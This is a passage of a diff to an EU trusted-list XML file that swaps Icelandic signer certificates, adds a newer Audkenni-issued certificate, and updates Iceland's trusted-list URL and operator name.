lmaWVkIGNlcnRpZmljYXRlIGFzIGRlZmluZWQgaW4gYWN0IDI4LzIwMDEgYW5kIERpcmVjdGl2ZSA5OS85My9FQy4wNQYIKwYBBQUHAgEWKWh0dHA6Ly9jcC5hdWRrZW5uaS5pcy9mdWxsZ2lsdGF1ZGtlbm5pL2NwMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTCKT6G/4bE2jUfaaak/wGDPEozqTBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLmF1ZGtlbm5pLmlzL2Z1bGxnaWx0YXVka2VubmkvbGF0ZXN0LmNybDAdBgNVHQ4EFgQUP7MmwN6LoKGoDmZCx+OC2V/fZuwwDQYJKoZIhvcNAQELBQADggEBAHSREDjUkE4I/i0ze1UXIxcVLZti1OPcftQsIRum1pWiipptqZQh5p6Z3w+5kaQaDvpQroPwxs1iYC74c/1a7/a3cdzSDtxUIERNYs7+GUM4jHQCvmQ2mfXb5xsKKz5V0FXsgQGVAFtW53fOxA+REZ+i6FecvH9YyBfHc1MzMtQevoeEFOz8cru29vA63hNSWC9Sxed4NoGI/F9MRrabKWW05nOVelfn+51eMBCpn3Pwe8EEe7v+Wme0aDr0EVPLVAAoDmL33tnTo6CC/qZ1/Gmk/04WUlvJMpqTfgMYj0AXtrJHkZMONbsP+YTpxMebDTBUaeCn8c+dllxMAaoSpSM=</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFzTCCBLWgAwIBAgIDIq6KMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAklTMRMwEQYDVQQFEwo1MjEwMDAyNzkwMRUwEwYDVQQKEwxBdWRrZW5uaSBoZi4xJzAlBgNVBAsTHlV0Z2VmYW5kaSBmdWxsZ2lsZHJhIHNraWxyaWtqYTEaMBgGA1UEAxMRRnVsbGdpbHQgYXVka2VubmkwHhcNMjEwNjE2MDkwNDMzWhcNMjIwNjE2MDkwNDMzWjCBhzELMAkGA1UEBhMCSVMxFjAUBgNVBAsTDWVpbmthc2tpbHJpa2kxFDASBgNVBAsMC0F1w7BrZW5uaW5nMQswCQYDVQQLEwIxMTETMBEGA1UEBRMKMTExMTg4MzAwOTEoMCYGA1UEAwwfU3ZhdmEgR2Vyw7B1ciBJbmdpbXVuZGFyZMOzdHRpcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOKxHqgk/8c0AmyC/6we1zwJCqxA8U5kGt6qvS21HEveJKUk1zAbGqadAeDukbfTivDNhd7KedaTEOL7RfVN+cQJqwWAfcJUbdhMR6IguxtC4Hnc3WXMWRFuKRuGzEILZBhI5nD+HzyxESMj/EBSKe+TFsoxRc2WNx+9b6Yfd97Q4zlrWK3sXwc3JqTX8CKYzJzB7w4XKe/1WASPlFDp7chRlLmJmwkD4SXTUbB71FKmBQX4/daR8lCGFiwbMR2TT4ZleAJt8vF6hn7ekelMRuvHk3nTgy1IXtObfBydm6UHUZBoqHmV173F23spTd/pc2TcUiEmbKeqTqXEyZ4MpOkCAwEAAaOCAkgwggJEMAwGA1UdEwEB/wQCMAAwdwYIKwYBBQUHAQEEazBpMCMGCCsGAQUFBzABhhdodHRwOi8vb2NzcC5hdWRrZW5uaS5pczBCBggrBgEFBQcwAoY2aHR0cDovL2NkcC5pc2xhbmRzcm90LmlzL3NraWxyaWtpL2Z1bGxnaWx0YXVka2VubmkucDdiMIIBDwYDVR0gBIIBBjCCAQIwgf8GCWCCYAECAQEBAjCB8TCBtwYIKwYBBQUHAgIwgaoagadUaGlzIGNlcnRpZmljYXRlIGlzIGludGVuZGVkIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBjZXJ0ZmljYXRlIGZ1bGZpbHMgdGhlIHJlcXVpcmVtZW50cyBmb3IgYSBxdWFsaWZpZWQgY2VydGlmaWNhdGUgYXMgZGVmaW5lZCBpbiBhY3QgMjgvMjAwMSBhbmQgRGlyZWN0aXZlIDk5LzkzL0VDLjA1BggrBgEFBQcCARYpaHR0cDovL2NwLmF1ZGtlbm5pLmlzL2Z1bGxnaWx0YXVka2VubmkvY3AwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFMIpPob/hsTaNR9ppqT/AYM8SjOpMEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwuYXVka2VubmkuaXMvZnVsbGdpbHRhdWRrZW5uaS9sYXRlc3QuY3JsMB0GA1UdDgQWBBRP0xNSYRfoAKJosUeOWiO5qKs5vjANBgkqhkiG9w0BAQsFAAOCAQEAxTp8gmBY2Gla0+rHE4DW5Ze459sth1HrG8G1KkCoz4BZzczdRrf2zmcYgcmQ31p1+2LzNMGnVy3nVw5rTqFDV8S8aEBzkwiC9syKgkbXMwjwIZKKCGQtSq/NqmsffLbY1K+IWVp0bwiERmo0IdXf+AjsPrZceHd8T0gCLkH991H+yKIGncD1pqDFAUPr4s6eQANFxCtqgEBbCk0s/e60RRwwhbTP+b8EH02kPWa6v6mH8tgICbykW16uxSTZi7ZF9emkI8coxFrC3MKFj14jAciAPRTQmeauePnkZzjM0ypcP1O6NdcMKz44EmKBzfcxKFfoJZepU8Cq8Z4HOd88SA==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
                     <ServiceDigitalIdentity>
                         <DigitalId>
                             <X509Certificate>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</X509Certificate>
@@ -1364,8 +1320,13 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>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</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>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</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
-                <TSLLocation>https://www.fjarskiptastofa.is/library/skrar/tsl/tsl.xml</TSLLocation>
+                <TSLLocation>https://tsl.fjarskiptastofa.is/library/skrar/tsl/tsl.xml</TSLLocation>
                 <AdditionalInformation>
                     <OtherInformation>
                         <TSLType>http://uri.etsi.org/TrstSvc/TrustedList/TSLType/EUgeneric</TSLType>
@@ -1378,7 +1339,7 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                     </OtherInformation>
                     <OtherInformation>
                         <SchemeOperatorName>
-                            <Name xml:lang="en">The Electronic Communications Office of Iceland</Name>
+                            <Name xml:lang="en">Electronic Communications Office of Iceland</Name>
                             <Name xml:lang="is">Fjarskiptastofa</Name>
                         </SchemeOperatorName>
                     </OtherInformation>
@@ -1503,6 +1464,11 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>MIID3TCCAsWgAwIBAgIFEgJr+EMwDQYJKoZIhvcNAQELBQAweTELMAkGA1UEBhMCTFQxSTBHBgNVBAoMQENvbW11bmljYXRpb25zIFJlZ3VsYXRvcnkgQXV0aG9yaXR5IG9mIHRoZSBSZXB1YmxpYyBvZiBMaXRodWFuaWExHzAdBgNVBAMMFkRhcml1cyBNaWNoYWxjZXZpxI1pdXMwHhcNMjUwMzE5MDAwMDAwWhcNMjkwMzE5MDAwMDAwWjB5MQswCQYDVQQGEwJMVDFJMEcGA1UECgxAQ29tbXVuaWNhdGlvbnMgUmVndWxhdG9yeSBBdXRob3JpdHkgb2YgdGhlIFJlcHVibGljIG9mIExpdGh1YW5pYTEfMB0GA1UEAwwWRGFyaXVzIE1pY2hhbGNldmnEjWl1czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKi6HwWhlRC3S0crrF8OpGpgazh2GL7Nm11dWVztTN+cH/rv6Nq7iKbUOrhVGoiVPx6mIMe+lU2WGtS+LYxu65zJRtcM3KGiquFuWwBR+BSNMD5j1cWDGkwY2OwkiOMndnD856tedneVmagy9eUBfucK+z/knp7ohhSneM83Zsk28v39/akViOwsuw1WwfiybkXmtBKCFIQg32KHPZ5po4n7FhLNFdezGWwjG0dDZZ/PKQfRIWGdItH2oxbP2cJTIEiaCtRd9ZzepaC9bo7c6EAZ/HeEcDsd0JqCey92EXA2vI+riXGl3UstA38TEBbtj5+0mUQlOSPUheDou7CA1EcCAwEAAaNsMGowHQYDVR0OBBYEFCQPtsUDe8aL9BmUAS6JfcpZU7z4MAkGA1UdEwQCMAAwDgYDVR0PAQH/BAQDAgbAMBEGA1UdIAQKMAgwBgYEVR0gADAbBgNVHSUEFDASBggrBgEFBQcDAgYGBACRNwMAMA0GCSqGSIb3DQEBCwUAA4IBAQCnSU2u2AOenwLpSn+nAufx6rUDBqzXE8/KC4b0e9AbsnXMEKwb/rUWn+KnQX6+X4+Vuuvu8CuiAGyYEzn/NDWV7qR0ZGF5gxGHvr0ijlhvGlwWmuKkgeO4IOqEVTYrJnnEDlk3bTNABC1fJEK+8CyfR9gPddgOgRTh2J+1h3VpOW2b9CdLoFDZMGXRZvogvoKMGte883yJl+FuKGhU0aRmfeDiVfyBGUH1R5olMqSd4F1FMgLfxzSV/Ud6XacXod5L6wubrtTi5wHtQ3cCRd6We127jijHVtqyA/Fwy3DeaYWB285OxzlO3+Q+e0AQJflYHOAwps33VfuuWRfnEM93</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
